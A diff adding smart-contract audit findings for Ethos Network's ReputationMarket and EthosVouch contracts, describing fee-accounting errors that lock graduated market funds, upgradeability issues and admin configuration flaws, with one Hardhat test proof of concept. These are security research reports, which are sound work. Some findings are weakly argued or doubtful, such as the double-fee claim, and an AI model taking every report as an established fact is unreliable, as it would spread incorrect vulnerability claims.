response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/723.md b/723.md new file mode 100644 index 0000000..c0a5770 --- /dev/null +++ b/723.md @@ -0,0 +1,92 @@ +Calm Fiery Llama + +High + +# The graduator may not be able to withdraw funds from a graduated market which causes them to be stuck + +### Summary + +Whenever users buy votes for a reputation market, they have to pay a protocol fee. That protocol fee is sent to the `protocolFeeAddress`. However, the amount of protocol fees is still stored in the `marketFunds` mapping, which should only contain the funds currently invested in each market. As a result, when a market graduates and the graduator calls `withdrawGraduatedMarketFunds()` to withdraw the amount stored in `marketFunds`, the call could revert if the contract balance is less than the amount stored in the `marketFunds` mapping for that market due to the mapping also including fees. + +### Root Cause + +In [ReputationMarket.sol:481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) the `marketFunds` will be increased by `fundsPaid`. The amount of `fundsPaid` is calculated in [ReputationMarket::_calculateBuy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978) and includes the fees. The difference in contract balance and funds stored in the mapping causes calls to withdraw the funds from a graduated market to revert. + +### Internal pre-conditions + +1. During any call to buy a vote, the `entryProtocolFeeBasisPoints` need to be greater than `0`. + +### External pre-conditions + +None. + +### Attack Path + +1. An admin calls `ReputationMarket::setEntryProtocolFeeBasisPoints()` to set the protocol fee to 5%. +2. Alice creates a market by calling `ReputationMarket::createMarket()`. +3. Alice calls `ReputationMarket::buyVotes()` to buy votes using `10 ETH` for her market. She has to pay `0.5 ETH` of fees which will be sent to the `protocolFeeAddress`. +4. `ReputationMarket::graduateMarket()` is called to graduate the market. +5. The graduator calls `ReputationMarket::withdrawGraduatedMarketFunds()` to withdraw the amount of funds stored in the `marketFunds` mapping for that market but the call reverts as the balance of the contract is less than the amount of funds stored in the mapping. + +### Impact + +Each time a user buys votes, the fees paid are stored in the `marketFunds` mapping for that market. This causes the contract balance to differ from the amount of funds stored in the mapping. The difference continues to increase each time votes are bought for any market. As a result, the `marketFunds` for a specific market may remain stuck as long as new votes are being bought for another market. Consequently, the funds for that market will be locked when it graduates, and the graduator attempts to withdraw them. + +Depending on the implementation of the graduation, users may still receive their ERC-20 tokens but the protocol will not be able to receive the remaining funds. + +### PoC + +The following test should be added in `rep.graduate.test.ts`: + +```solidity + it('should fail to withdraw graduated market funds due to fees', async () => { + let protocolFeeAddress: string; + protocolFeeAddress = ethers.Wallet.createRandom().address; + await reputationMarket.connect(deployer.ADMIN).setProtocolFeeAddress(protocolFeeAddress); + + const entryFee = 500; + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(entryFee); + expect(await reputationMarket.entryProtocolFeeBasisPoints()).to.equal(entryFee); + + const buyAmount = ethers.parseEther('10'); + const initialMarketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + const protocolFeeBalanceBefore = await ethers.provider.getBalance(protocolFeeAddress); + const contractBalanceBefore = await ethers.provider.getBalance(reputationMarket.target); + + const { fundsPaid } = await userA.buyVotes({ buyAmount }); + + const contractBalanceAfter = await ethers.provider.getBalance(reputationMarket.target); + const contractFundsReceived = contractBalanceAfter - contractBalanceBefore; + const protocolFeeBalanceAfter = await ethers.provider.getBalance(protocolFeeAddress); + const protocolFeeReceived = protocolFeeBalanceAfter - protocolFeeBalanceBefore; + + expect(fundsPaid).to.equal( + contractFundsReceived + protocolFeeReceived, + 'Actual funds paid should be equal to funds received by the contract and protocol fee', + ); + + expect(protocolFeeReceived).to.equal(ethers.parseEther('0.5')); + + // contract balance difference is equal to fundsPaid - fee as protocol fee is already sent to fee address + expect(contractFundsReceived).to.equal(fundsPaid - protocolFeeReceived); + + const fundsAfterBuy = await reputationMarket.marketFunds(DEFAULT.profileId); + + // but market funds stores fees aswell + expect(fundsAfterBuy).to.equal(initialMarketFunds + contractFundsReceived + protocolFeeReceived); + + await reputationMarket.connect(graduator).graduateMarket(DEFAULT.profileId); + + // when the graduator tries to withdraw the market funds, it will revert + // as market funds stores fundsPaid + protocol fee, but the protocol fee + // has already been sent to the protocol fee address + // hence, the balance of the contract is less than withdrawGraduatedMarketFunds() tries to send + await expect( + reputationMarket.connect(graduator).withdrawGraduatedMarketFunds(DEFAULT.profileId) + ).to.be.revertedWith("ETH transfer failed"); + }); +``` + +### Mitigation + +The fee amounts should not be stored in the `marketFunds` mapping. \ No newline at end of file diff --git a/724.md b/724.md new file mode 100644 index 0000000..7546e2d --- /dev/null +++ b/724.md @@ -0,0 +1,41 @@ +Furry Carob Chinchilla + +Medium + +# Vouchers pool rewards are always taxed + +### Summary + +In [`EthosVouch::_rewardPreviousVouchers`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697), when previous vouchers receive rewards from a new voucher, their reward is added to their vouch.balance. This is an issue because when they unvouch, they will taxed for exiting. The idea of increasing vouchers' balance is to enable autocompounding, but this as said will tax their rewards, which is not what the users expect. +The solution to this is to use [`EthosVouch::_depositRewards`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L687) for rewarding previous vouchers or introduce a flag for auto-compounding and leave the users to decide whether they want to use auto compounding + + +### Root Cause + +In [`EthosVouch::_rewardPreviousVouchers`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697) the rewards of the previous vouchers is rewarded with increasing their balance instead of depositing it to their rewards. + +### Internal pre-conditions + +- The exit fee should be greater than 0 + +### External pre-conditions + +_No response_ + +### Attack Path + +- Alice vouches for the subject with id 1 +- Bob vouches for the subject with id 1 +- Alice vouchers and her reward is now taxed + +### Impact + +- Vouchers will lose percentages of their reward from the vouchers pool + +### PoC + +_No response_ + +### Mitigation + +Introduce a flag for enabling auto-compounding or use [`EthosVouch::_depositRewards`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L687) to distribute the vouchers' rewards \ No newline at end of file diff --git a/725.md b/725.md new file mode 100644 index 0000000..f6b529e --- /dev/null +++ b/725.md @@ -0,0 +1,44 @@ +Radiant Ginger Raven + +Medium + +# Corruptible Upgradability Pattern + +### Summary + +The EthosContracts (EthosVouch, ReputationMarket, ...) are UUPSUpgradeable. However, the current implementation has multiple issues regarding upgradability. + +The Ethos contracts are meant to be upgradeable. However, it inherits contracts that are not upgrade-safe. + +ReentrancyGuard + +### Root Cause + + + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L36 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Storage of vault contracts might be corrupted during upgrading. + +### PoC + +_No response_ + +### Mitigation + +Use library from Openzeppelin-upgradeable instead, e.g. ReentrancyGuardUpgradeable \ No newline at end of file diff --git a/726.md b/726.md new file mode 100644 index 0000000..908bb1c --- /dev/null +++ b/726.md @@ -0,0 +1,37 @@ +Bald Lace Cyborg + +Medium + +# whenNotPaused modifier is not used in increaseVouch() + +### Summary + +In EthosVouch.sol, in all general functions, whenNotPaused modifier is used. Now the concern is, it is no being used in increase Vouch function. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426C4-L430C6 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +protocol will not work as intended , bcoz this funcs is being used even if it is paused + +### PoC + +_No response_ + +### Mitigation + +Moidifier should be used in increase Vouch() \ No newline at end of file diff --git a/727.md b/727.md new file mode 100644 index 0000000..509cebc --- /dev/null +++ b/727.md @@ -0,0 +1,61 @@ +Best Carbon Eagle + +Medium + +# in `sellVotes`, participants who sold all their shares are not removed from the array + +## Summary + +When participant's shares reach zero in `sellVotes`, they are not removed from the participants array. + +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount +) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); +} +``` + +## Impact + +They are still regarded as a participant even though they no longer hold shares. + +## Code snippet +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 +## Recommendation +Remove them from the array when share balance hits 0. \ No newline at end of file diff --git a/728.md b/728.md new file mode 100644 index 0000000..03abc1f --- /dev/null +++ b/728.md @@ -0,0 +1,98 @@ +Orbiting Ruby Ladybug + +High + +# there is indeed a logical error in the fee calculation within the _calculateBuy and buyVotes functions + +### Summary + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942 +Double Deduction of Fees: +First Deduction: Fees are subtracted when calculating fundsAvailable in _calculateBuy and fundsReceived in _calculateSell. +Second Deduction: Fees are applied again in the buyVotes and sellVotes functions through the applyFees function. + Incorrect Market Funds Accounting: +The marketFunds variable is incorrectly updated with amounts that include fees already sent elsewhere, causing inconsistencies in the contract’s financial state. + +### Root Cause + +Fee Calculation in _calculateBuy Function: + +Initial Fee Deduction: +```solidity +(fundsAvailable, protocolFee, donation) = previewFees(funds, true); +``` +previewFees subtracts protocolFee and donation from funds to calculate fundsAvailable. +This means the fees are deducted upfront, reducing the amount available for purchasing votes. + +Vote Purchase Loop: +```solidity +while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); +} +``` +fundsPaid accumulates the cost of votes purchased (excluding fees). + +Adding Fees Back to fundsPaid: +```solidity +fundsPaid += protocolFee + donation; +``` +Fees are added back to fundsPaid, which represents the total cost including fees. + + +Double Counting Fees: + Fees are deducted upfront when calculating fundsAvailable. +Then, fees are added back to fundsPaid. +In the buyVotes function, applyFees is called, which transfers the fees, effectively deducting them again. +Fee Application in buyVotes Function: + +Applying Fees Again: +```solidity +applyFees(protocolFee, donation, profileId); +``` +The applyFees function transfers the protocolFee and updates the donationEscrow, effectively deducting these fees from the user’s total funds a second time. + +Refund Calculation: +```solidity +uint256 refund = msg.value - fundsPaid; +``` +The fundsPaid already includes the fees, and since applyFees has already deducted fees, the user ends up overcharged. + +Updating Market Funds: +```solidity +marketFunds[profileId] += fundsPaid; +``` +The marketFunds includes the fees, but since the fees have been transferred elsewhere, this leads to an inflated marketFunds balance that doesn’t reflect the actual funds in the contract. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users Overcharged: +Buyers pay the fees twice, reducing the number of votes they can purchase and overpaying in total. +Sellers receive less ETH than they should when selling votes. +Market Funds Misrepresented: +The marketFunds variable incorrectly includes fees that have been transferred out, leading to an inaccurate representation of the contract’s balance. +This could cause issues in functions that rely on marketFunds, such as withdrawGraduatedMarketFunds. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/729.md b/729.md new file mode 100644 index 0000000..b5433b2 --- /dev/null +++ b/729.md @@ -0,0 +1,42 @@ +Square Cinnamon Wolverine + +Medium + +# Non-upgradeable Pausable in UUPS contracts may cause issues + +### Summary + +The use of Pausable rather than UpgradeablePausable in an upgradeable contract system has been reported as a valid bug in the audits of the other contract (Ethos Network Social Contracts). Here is the report of the findings: https://github.com/sherlock-audit/2024-10-ethos-network-judging/issues/145 + +This same bug is also noticeable in this contract + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L36 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/AccessControl.sol#L15 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Replace Pausable with UpgradeablePausable in all upgradeable contracts within the system. + diff --git a/730.md b/730.md new file mode 100644 index 0000000..f3236e4 --- /dev/null +++ b/730.md @@ -0,0 +1,39 @@ +Immense Vinyl Flamingo + +Medium + +# Profile Unable to buy Votes in ReputationMarket due to wrong basePrice is set when initializing marketConfigs + +### Summary + +[marketConfigs.push()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L223-254) in `initialize()` is set to `DEFAULT_PRICE` instead of `MINIMUM_BASE_PRICE` + +### Root Cause + +In [ReputationMarket.sol:223-255](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L223-254) 3 MarketConfigs (Default, Premium & Deluxe) are initialized with a basePrice of `DEFAULT_PRICE (0.01ETH)` instead of `MINIMUM_BASE_PRICE (0.001ETH)` + +### Internal pre-conditions + +1. `ReputationMarket` is initialized with three `marketConfigs` with wrong basePrice + +### External pre-conditions + +No external pre-conditions + +### Attack Path + +1. `ReputationMarket` is initialized with three `marketConfigs` with wrong basePrice +2. Profile calls `createMarketWithProfileId()` and a `marketConfigIndex`. +3. A market is created with wrong `basePrice` parameter + +### Impact + +A profile gets less votes or no votes at all when calling `buyVotes()` on a ReputationMarket due to wrong `basePrice`. + +### PoC + +_No response_ + +### Mitigation + +Either reinitialize ReputationMarket implementation with the correct minimm basePrice set, or call `addMarketConfig()` to create new marketConfigs with the correct value \ No newline at end of file diff --git a/731.md b/731.md new file mode 100644 index 0000000..a934e6f --- /dev/null +++ b/731.md @@ -0,0 +1,52 @@ +Energetic Honeysuckle Leopard + +Medium + +# Update of unhealthyResponsePeriod Prevents Users from Marking Vouches as Unhealthy + +### Summary + + + + + +### Root Cause + +The updateUnhealthyResponsePeriod function in the EthosVouch contract allows an admin to change the duration within which a vouch can be marked as unhealthy after unvouching. This change can be made immediately and without any transition period, potentially preventing users from marking a vouch as unhealthy if they are close to the current limit. + +```solidity +function updateUnhealthyResponsePeriod( + uint256 unhealthyResponsePeriodDuration + ) external onlyAdmin whenNotPaused { + unhealthyResponsePeriod = unhealthyResponsePeriodDuration; + } +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L659C3-L663C4 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Current Setting: The unhealthyResponsePeriod is set to 24 hours. +User Action: User A unvouches and plans to mark the vouch as unhealthy at the 23-hour mark, relying on the current 24-hour period. +Admin Update: Before User A can mark the vouch as unhealthy, the admin changes the unhealthyResponsePeriod to 12 hours. +User Disadvantage: User A is now unable to mark the vouch as unhealthy because the period has expired under the new setting, despite being within the original timeframe. + +### Impact + +Users are unable to perform a critical action (marking a vouch as unhealthy + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/732.md b/732.md new file mode 100644 index 0000000..4ec6f70 --- /dev/null +++ b/732.md @@ -0,0 +1,68 @@ +Quaint Mulberry Mustang + +Medium + +# Market Configuration Index Inconsistency + +### Summary + +The `removeMarketConfig` function introduces an inconsistency by swapping the last configuration in the array with the one being removed. This behavior disrupts the expected indexing of configuration parameters, leading to the creation of markets with unexpected settings when users rely on specific indices. + +### Root Cause + +When a configuration is removed, the function replaces the targeted index with the configuration at the end of the array and then removes the last element: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L403-L406 +```js +function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused {//checked + // Cannot remove if only one config remains + if (marketConfigs.length <= 1) { + revert InvalidMarketConfigOption("Must keep one config"); + } + + // Check if the index is valid + if (configIndex >= marketConfigs.length) { + revert InvalidMarketConfigOption("index not found"); + } + + emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + + // If this is not the last element, swap with the last element + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { +@> marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + // Remove the last element +@> marketConfigs.pop(); + } +``` +This index swap results in configurations being reordered, breaking the correspondence between indices and their original parameter sets. Users interacting with `createMarketWithConfig(configIndex)` may unintentionally create markets using unexpected configurations. + + + +### Internal pre-conditions + +N/A + +### External pre-conditions + +_No response_ + +### Attack Path + +1. There are 3 configs +2. Admin removes config at index 1 +3. user create market with configIndex=1 + +### Impact + +Markets could be created with unintended initial parameters + +### PoC + +N/A + +### Mitigation + +To address this issue, avoid swapping configurations when removing an entry. Instead: + +Use an ordered deletion mechanism that retains the array's structure. \ No newline at end of file diff --git a/733.md b/733.md new file mode 100644 index 0000000..11685b5 --- /dev/null +++ b/733.md @@ -0,0 +1,64 @@ +Low Tawny Fox + +Medium + +# Fee Validation Issue in Constructor and Setter + +### Summary + +A vulnerability exists in the `EthosVouch::initialize` function where there is no check to ensure that the sum of fees is set correctly. This could result in the total fees exceeding the intended limit of 10%. Additionally, if all fees are set to a value greater or equal then 3.4 ETH in the `EthosVouch::initialize`, attempts to lower them via the setter function will revert. + +### Root Cause + +The [EthosVouch::initialize](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L282-L285) function does not validate that the total sum of fees is within the acceptable threshold (less than 10%). As a result, incorrect fee values can be set initially. Furthermore, the setter function does not handle cases where the fees are already set too high, causing it to revert when trying to decrease them. + +### Internal pre-conditions + +The contract allows setting fees through the `EthosVouch::initialize` function without validation for the total fee sum. + +### Attack Path + +During initialization of the contract, `EthosVouch::initialize` function is used to set fees without validating the total sum, allowing for fees to be set above the allowed threshold. +If all fees are set to an invalid value (e.g., 3.4 ETH), the setter function will fail when trying to lower them, locking the contract in an inconsistent state. + +### Impact + +The contract becomes unusable if fees are set incorrectly during deployment. The failure of the setter function to adjust fees when they exceed the allowed limit results in a locked state where fee adjustments are no longer possible, rendering the contract inflexible and inefficient. + +### Mitigation + +Add fee check in `initialize` function +```diff +function initialize( + address _owner, + address _admin, + address _expectedSigner, + address _signatureVerifier, + address _contractAddressManagerAddr, + address _feeProtocolAddress, + uint256 _entryProtocolFeeBasisPoints, + uint256 _entryDonationFeeBasisPoints, + uint256 _entryVouchersPoolFeeBasisPoints, + uint256 _exitFeeBasisPoints + ) external initializer { + __accessControl_init( + _owner, + _admin, + _expectedSigner, + _signatureVerifier, + _contractAddressManagerAddr + ); + + __UUPSUpgradeable_init(); + if (_feeProtocolAddress == address(0)) revert InvalidFeeProtocolAddress(); + protocolFeeAddress = _feeProtocolAddress; + entryProtocolFeeBasisPoints = _entryProtocolFeeBasisPoints; + entryDonationFeeBasisPoints = _entryDonationFeeBasisPoints; + entryVouchersPoolFeeBasisPoints = _entryVouchersPoolFeeBasisPoints; + exitFeeBasisPoints = _exitFeeBasisPoints; ++ checkFeeExceedsMaximum(0, 0); + configuredMinimumVouchAmount = ABSOLUTE_MINIMUM_VOUCH_AMOUNT; + maximumVouches = 256; + unhealthyResponsePeriod = 24 hours; + } +``` \ No newline at end of file diff --git a/invalid/.gitkeep b/invalid/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/invalid/387.md b/invalid/387.md new file mode 100644 index 0000000..7a84b4d --- /dev/null +++ b/invalid/387.md @@ -0,0 +1,169 @@ +Fantastic Paisley Jay + +High + +# The funds assigned to the `marketFunds[profileId]` in `ReputationMarket::buyVotes` are incorrect + +### Summary + +The `ReputationMarket::buyVotes` function is used for buying a votes for a given market. The function applies fees and updates `marketFunds` mapping. But the `marketFunds` mapping is updated with the incorrect value. + +### Root Cause + +The `buyVotes` function allows a user to buy votes. Let's consider the function calls that this function makes. The important for us will be: `_calculateBuy` and `applyFees`: + +```solidity + +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice +@> ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first +@> applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +@> marketFunds[profileId] += fundsPaid; + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); +} + +``` +The `_calculateBuy` function calculates the outcome of a buy transaction. The return value `fundsPaid` represents the total amount that is paid including fees: + +```solidity + +function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; +@> fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +@> fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } + +``` +Then the `buyVotes` function calls the `applyFees` function with arguments `protocolFee`, `donation` and `profileId`. The `applyFees` function processes protocol fees and donations for a market transaction. The function adds the `donation` to the `donationEscrow` mapping and send the `protocolFee` to the `protocolFeeAddress`: + +```solidity + +function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { +@> donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + if (protocolFee > 0) { +@> (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; +} + +``` + +The problem is that the `buyVotes` function adds the `fundsPaid` to the `marketFunds[profileId]`. As seen from the `_calculateBuy` function, the `fundsPaid` includes the value of `donation`, `protocolFee` and funds paid for the votes. +This is a problem because the `applyFees` function already sent the value of `protocolFee` to the `protocolFeeAddress` and updated the `donationEscrow` mapping. This means when the user calls the [`withdrawDonations`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L570-L585) function, the user will withdraw the `donation` amount that is added to the `marketFunds` mapping. And when the [`withdrawGraduatedMarketFunds`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L678) function is called, the function will revert due to insufficient funds in the contract. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The `withdrawGraduatedMarketFunds` function will revert due to insufficient funds, as the funds to be sent have already been spent. +Likelihood is High and the Impact is High. + +### PoC + +_No response_ + +### Mitigation + +Don't update the `marketFunds[profileId]` mapping with the whole `fundsPaid` amount in `buyVotes`. It should be updated with only the value that is paid for the votes: + +```diff +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - donation - protocolFee; +``` \ No newline at end of file